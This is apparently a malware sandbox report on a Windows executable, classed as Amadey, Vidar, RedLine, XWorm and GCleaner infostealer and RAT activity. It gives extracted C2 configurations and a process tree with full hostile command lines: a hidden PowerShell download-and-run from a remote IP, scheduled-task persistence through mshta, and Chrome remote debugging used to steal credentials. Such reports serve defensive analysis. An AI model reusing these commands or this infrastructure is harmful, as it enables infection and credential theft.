Overview

overview

10

Static

static

5

c9c2667371...bd.exe

windows7-x64

10

c9c2667371...bd.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250217-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05/03/2025, 07:26

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    c9c266737131c566122595220c28e0bd.exe
  • Size 938KB
  • Sample250305-h9vz2aspx3
  • SHA256 7fca072b4b527dc77d56942313c4b33aeea3218343497694116a69b07fa1057d
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
amadeygcleanerredlinevidarxworm092155ir7amtestprolivcredential_accessdefense_evasiondiscoveryexecutioninfostealerloaderpersistenceratspywarestealertrojan

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://176.113.115.7/mine/random.exe

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://176.113.115.7/mine/random.exe

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://176.113.115.7/mine/random.exe

Extracted

Family

  • amadey

Version

  • 5.21

Botnet

  • 092155

C2

  • http://176.113.115.6

Attributes
  • install_dir

    bb556cff4a

  • install_file

    rapes.exe

  • strings_key

    a131b127e996a898cd19ffb2d92e481b

  • url_paths

    /Ni9kiput/index.php

rc4.plain

Extracted

Family

  • vidar

Botnet

  • ir7am

C2

  • https://t.me/l793oy

  • https://steamcommunity.com/profiles/76561199829660832

Attributes
  • user_agent

    Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/131.0.0.0 Safari/537.36 OPR/116.0.0.0

Extracted

Family

  • redline

Botnet

  • testproliv

C2

  • 45.155.103.183:1488

Extracted

Family

  • xworm

Version

  • 5.0

C2

  • 127.0.0.1:6666

  • 5.180.155.29:6666

Mutex

  • O3GT6cT0bZJp53nK

Attributes
  • Install_directory

    %Temp%

  • install_file

    winservice.exe

aes.plain

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Amadey family
    amadey
  • Detect Vidar Stealer 3 IoCs
    stealer
  • Detect Xworm Payload 1 IoCs
  • GCleaner

    GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.

    loadergcleaner
  • Gcleaner family
    gcleaner
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine payload 1 IoCs
  • Redline family
    redline
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

    stealervidar
  • Vidar family
    vidar
  • Xworm

    Xworm is a remote access trojan written in C#.

    trojanratxworm
  • Xworm family
    xworm
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 13 IoCs
    defense_evasion
  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Using powershell.exe command.

    execution
  • Downloads MZ/PE file 19 IoCs
  • Uses browser remote debugging 2 TTPs 10 IoCs

    Can be used control the browser and steal sensitive information such as credentials and session cookies.

    credential_accessstealer
  • .NET Reactor proctector 2 IoCs

    Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

  • Checks BIOS information in registry 2 TTPs 26 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 6 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 28 IoCs
  • Identifies Wine through registry keys 2 TTPs 13 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    defense_evasion
  • Loads dropped DLL 4 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 3 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • AutoIT Executable 1 IoCs

    AutoIT scripts compiled to PE executables.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 13 IoCs
  • Suspicious use of SetThreadContext 6 IoCs
  • Drops file in Windows directory 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 5 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 45 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 5 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    defense_evasion
  • Enumerates system info in registry 2 TTPs 8 IoCs
  • Modifies data under HKEY_USERS 2 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 24 IoCs
  • Suspicious use of FindShellTrayWindow 57 IoCs
  • Suspicious use of SendNotifyMessage 6 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\c9c266737131c566122595220c28e0bd.exe
    "C:\Users\Admin\AppData\Local\Temp\c9c266737131c566122595220c28e0bd.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:3424
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn yCNUBma1NP4 /tr "mshta C:\Users\Admin\AppData\Local\Temp\ADG9CZYBq.hta" /sc minute /mo 25 /ru "Admin" /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4412
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /tn yCNUBma1NP4 /tr "mshta C:\Users\Admin\AppData\Local\Temp\ADG9CZYBq.hta" /sc minute /mo 25 /ru "Admin" /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:1176
    • C:\Windows\SysWOW64\mshta.exe
      mshta C:\Users\Admin\AppData\Local\Temp\ADG9CZYBq.hta
      2⤵
      • Checks computer location settings
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3396
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'7CBXNQIVLTZIOSLXGK2OPEIWZNTT7SZ2.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Downloads MZ/PE file
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3680
        • C:\Users\Admin\AppData\Local\Temp7CBXNQIVLTZIOSLXGK2OPEIWZNTT7SZ2.EXE
          "C:\Users\Admin\AppData\Local\Temp7CBXNQIVLTZIOSLXGK2OPEIWZNTT7SZ2.EXE"
          4⤵
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Checks computer location settings
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:2788
          • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
            "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
            5⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Downloads MZ/PE file
            • Checks BIOS information in registry
            • Checks computer location settings
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Adds Run key to start application
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:3088
            • C:\Users\Admin\AppData\Local\Temp\10099760101\4a29b6abb7.exe
              "C:\Users\Admin\AppData\Local\Temp\10099760101\4a29b6abb7.exe"
              6⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious use of FindShellTrayWindow
              • Suspicious use of SendNotifyMessage
              • Suspicious use of WriteProcessMemory
              PID:2032
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c schtasks /create /tn qgadGmaLdj8 /tr "mshta C:\Users\Admin\AppData\Local\Temp\oKkAZea2s.hta" /sc minute /mo 25 /ru "Admin" /f
                7⤵
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:728
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /create /tn qgadGmaLdj8 /tr "mshta C:\Users\Admin\AppData\Local\Temp\oKkAZea2s.hta" /sc minute /mo 25 /ru "Admin" /f
                  8⤵
                  • System Location Discovery: System Language Discovery
                  • Scheduled Task/Job: Scheduled Task
                  PID:3600
              • C:\Windows\SysWOW64\mshta.exe
                mshta C:\Users\Admin\AppData\Local\Temp\oKkAZea2s.hta
                7⤵
                • Checks computer location settings
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:3048
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'0B3ZLRTJ5LRU1ZMX1YSW1ZTGSWGYPOR4.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
                  8⤵
                  • Blocklisted process makes network request
                  • Command and Scripting Interpreter: PowerShell
                  • Downloads MZ/PE file
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3528
                  • C:\Users\Admin\AppData\Local\Temp0B3ZLRTJ5LRU1ZMX1YSW1ZTGSWGYPOR4.EXE
                    "C:\Users\Admin\AppData\Local\Temp0B3ZLRTJ5LRU1ZMX1YSW1ZTGSWGYPOR4.EXE"
                    9⤵
                    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                    • Checks BIOS information in registry
                    • Executes dropped EXE
                    • Identifies Wine through registry keys
                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1512
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\10099770121\am_no.cmd" "
              6⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:4384
              • C:\Windows\SysWOW64\timeout.exe
                timeout /t 2
                7⤵
                • System Location Discovery: System Language Discovery
                • Delays execution with timeout.exe
                PID:4888
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
                7⤵
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:3144
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
                  8⤵
                  • Command and Scripting Interpreter: PowerShell
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2212
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
                7⤵
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:1952
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
                  8⤵
                  • Command and Scripting Interpreter: PowerShell
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:5072
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
                7⤵
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:3444
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
                  8⤵
                  • Command and Scripting Interpreter: PowerShell
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4272
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /create /tn "LJAzYmaPjzt" /tr "mshta \"C:\Temp\JrH7NO32X.hta\"" /sc minute /mo 25 /ru "Admin" /f
                7⤵
                • System Location Discovery: System Language Discovery
                • Scheduled Task/Job: Scheduled Task
                PID:5100
              • C:\Windows\SysWOW64\mshta.exe
                mshta "C:\Temp\JrH7NO32X.hta"
                7⤵
                • Checks computer location settings
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:4304
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'\483d2fa8a0d53818306efeb32d3.exe';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
                  8⤵
                  • Blocklisted process makes network request
                  • Command and Scripting Interpreter: PowerShell
                  • Downloads MZ/PE file
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3448
                  • C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe
                    "C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe"
                    9⤵
                    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                    • Checks BIOS information in registry
                    • Executes dropped EXE
                    • Identifies Wine through registry keys
                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    PID:2784
            • C:\Users\Admin\AppData\Local\Temp\10100160101\0781f1c15c.exe
              "C:\Users\Admin\AppData\Local\Temp\10100160101\0781f1c15c.exe"
              6⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • Suspicious use of SetThreadContext
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:4764
              • C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
                "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
                7⤵
                • Downloads MZ/PE file
                • System Location Discovery: System Language Discovery
                PID:3032
            • C:\Users\Admin\AppData\Local\Temp\10100170101\22b5593f92.exe
              "C:\Users\Admin\AppData\Local\Temp\10100170101\22b5593f92.exe"
              6⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • System Location Discovery: System Language Discovery
              • Suspicious use of AdjustPrivilegeToken
              PID:1316
              • C:\Users\Admin\AppData\Local\Temp\10100170101\22b5593f92.exe
                "C:\Users\Admin\AppData\Local\Temp\10100170101\22b5593f92.exe"
                7⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                PID:2980
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 1316 -s 812
                7⤵
                • Program crash
                PID:3748
            • C:\Users\Admin\AppData\Local\Temp\10100180101\1c415f07d8.exe
              "C:\Users\Admin\AppData\Local\Temp\10100180101\1c415f07d8.exe"
              6⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:1848
            • C:\Users\Admin\AppData\Local\Temp\10100190101\8a471bea2a.exe
              "C:\Users\Admin\AppData\Local\Temp\10100190101\8a471bea2a.exe"
              6⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:1444
            • C:\Users\Admin\AppData\Local\Temp\10100200101\23a9053af2.exe
              "C:\Users\Admin\AppData\Local\Temp\10100200101\23a9053af2.exe"
              6⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • Suspicious use of SetThreadContext
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:2080
              • C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
                "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
                7⤵
                • Downloads MZ/PE file
                • System Location Discovery: System Language Discovery
                PID:1508
            • C:\Users\Admin\AppData\Local\Temp\10100210101\z3SJkC5.exe
              "C:\Users\Admin\AppData\Local\Temp\10100210101\z3SJkC5.exe"
              6⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:2004
              • C:\Windows\TEMP\{8E6A0F21-F5B3-4D5D-A7A3-D429E44C9A8E}\.cr\z3SJkC5.exe
                "C:\Windows\TEMP\{8E6A0F21-F5B3-4D5D-A7A3-D429E44C9A8E}\.cr\z3SJkC5.exe" -burn.clean.room="C:\Users\Admin\AppData\Local\Temp\10100210101\z3SJkC5.exe" -burn.filehandle.attached=700 -burn.filehandle.self=696
                7⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • System Location Discovery: System Language Discovery
                PID:1788
                • C:\Windows\TEMP\{0845D49E-7CC9-45E7-A695-8D51D986A097}\.ba\WiseTurbo.exe
                  C:\Windows\TEMP\{0845D49E-7CC9-45E7-A695-8D51D986A097}\.ba\WiseTurbo.exe
                  8⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  PID:2128
                  • C:\Users\Admin\AppData\Roaming\streamfirefox\WiseTurbo.exe
                    C:\Users\Admin\AppData\Roaming\streamfirefox\WiseTurbo.exe
                    9⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    • Suspicious use of SetThreadContext
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious behavior: MapViewOfSection
                    PID:728
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\SysWOW64\cmd.exe
                      10⤵
                      • System Location Discovery: System Language Discovery
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious behavior: MapViewOfSection
                      PID:2272
                      • C:\Users\Admin\AppData\Local\Temp\WatcherUpdate_test.exe
                        C:\Users\Admin\AppData\Local\Temp\WatcherUpdate_test.exe
                        11⤵
                        • Loads dropped DLL
                        PID:380
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 1788 -s 744
                  8⤵
                  • Program crash
                  PID:3764
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 1788 -s 652
                  8⤵
                  • Program crash
                  PID:3896
            • C:\Users\Admin\AppData\Local\Temp\10100220101\BXxKvLN.exe
              "C:\Users\Admin\AppData\Local\Temp\10100220101\BXxKvLN.exe"
              6⤵
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              PID:2484
            • C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe
              "C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe"
              6⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • System Location Discovery: System Language Discovery
              PID:1736
              • C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe
                "C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe"
                7⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • Checks processor information in registry
                PID:3840
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
                  8⤵
                  • Uses browser remote debugging
                  • Enumerates system info in registry
                  • Modifies data under HKEY_USERS
                  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of FindShellTrayWindow
                  PID:3932
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ff9c7fecc40,0x7ff9c7fecc4c,0x7ff9c7fecc58
                    9⤵
                      PID:3048
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1996,i,15191983898962533291,16242173230583906053,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=1992 /prefetch:2
                      9⤵
                        PID:2012
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1892,i,15191983898962533291,16242173230583906053,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2136 /prefetch:3
                        9⤵
                          PID:1504
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2288,i,15191983898962533291,16242173230583906053,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2264 /prefetch:8
                          9⤵
                            PID:4688
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3176,i,15191983898962533291,16242173230583906053,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3196 /prefetch:1
                            9⤵
                            • Uses browser remote debugging
                            PID:3892
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3200,i,15191983898962533291,16242173230583906053,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3244 /prefetch:1
                            9⤵
                            • Uses browser remote debugging
                            PID:2464
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4268,i,15191983898962533291,16242173230583906053,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4560 /prefetch:1
                            9⤵
                            • Uses browser remote debugging
                            PID:4244
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4748,i,15191983898962533291,16242173230583906053,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4796 /prefetch:8
                            9⤵
                              PID:704
                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4584,i,15191983898962533291,16242173230583906053,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4780 /prefetch:8
                              9⤵
                                PID:4152
                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4760,i,15191983898962533291,16242173230583906053,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4532 /prefetch:8
                                9⤵
                                  PID:5268
                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4996,i,15191983898962533291,16242173230583906053,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5004 /prefetch:8
                                  9⤵
                                    PID:5332
                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4864,i,15191983898962533291,16242173230583906053,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4532 /prefetch:8
                                    9⤵
                                      PID:5528
                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5020,i,15191983898962533291,16242173230583906053,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5204 /prefetch:8
                                      9⤵
                                        PID:5576
                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4888,i,15191983898962533291,16242173230583906053,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5220 /prefetch:8
                                        9⤵
                                          PID:5624
                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4860,i,15191983898962533291,16242173230583906053,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4852 /prefetch:8
                                          9⤵
                                            PID:6048
                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --field-trial-handle=5060,i,15191983898962533291,16242173230583906053,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5244 /prefetch:2
                                            9⤵
                                            • Uses browser remote debugging
                                            PID:6020
                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
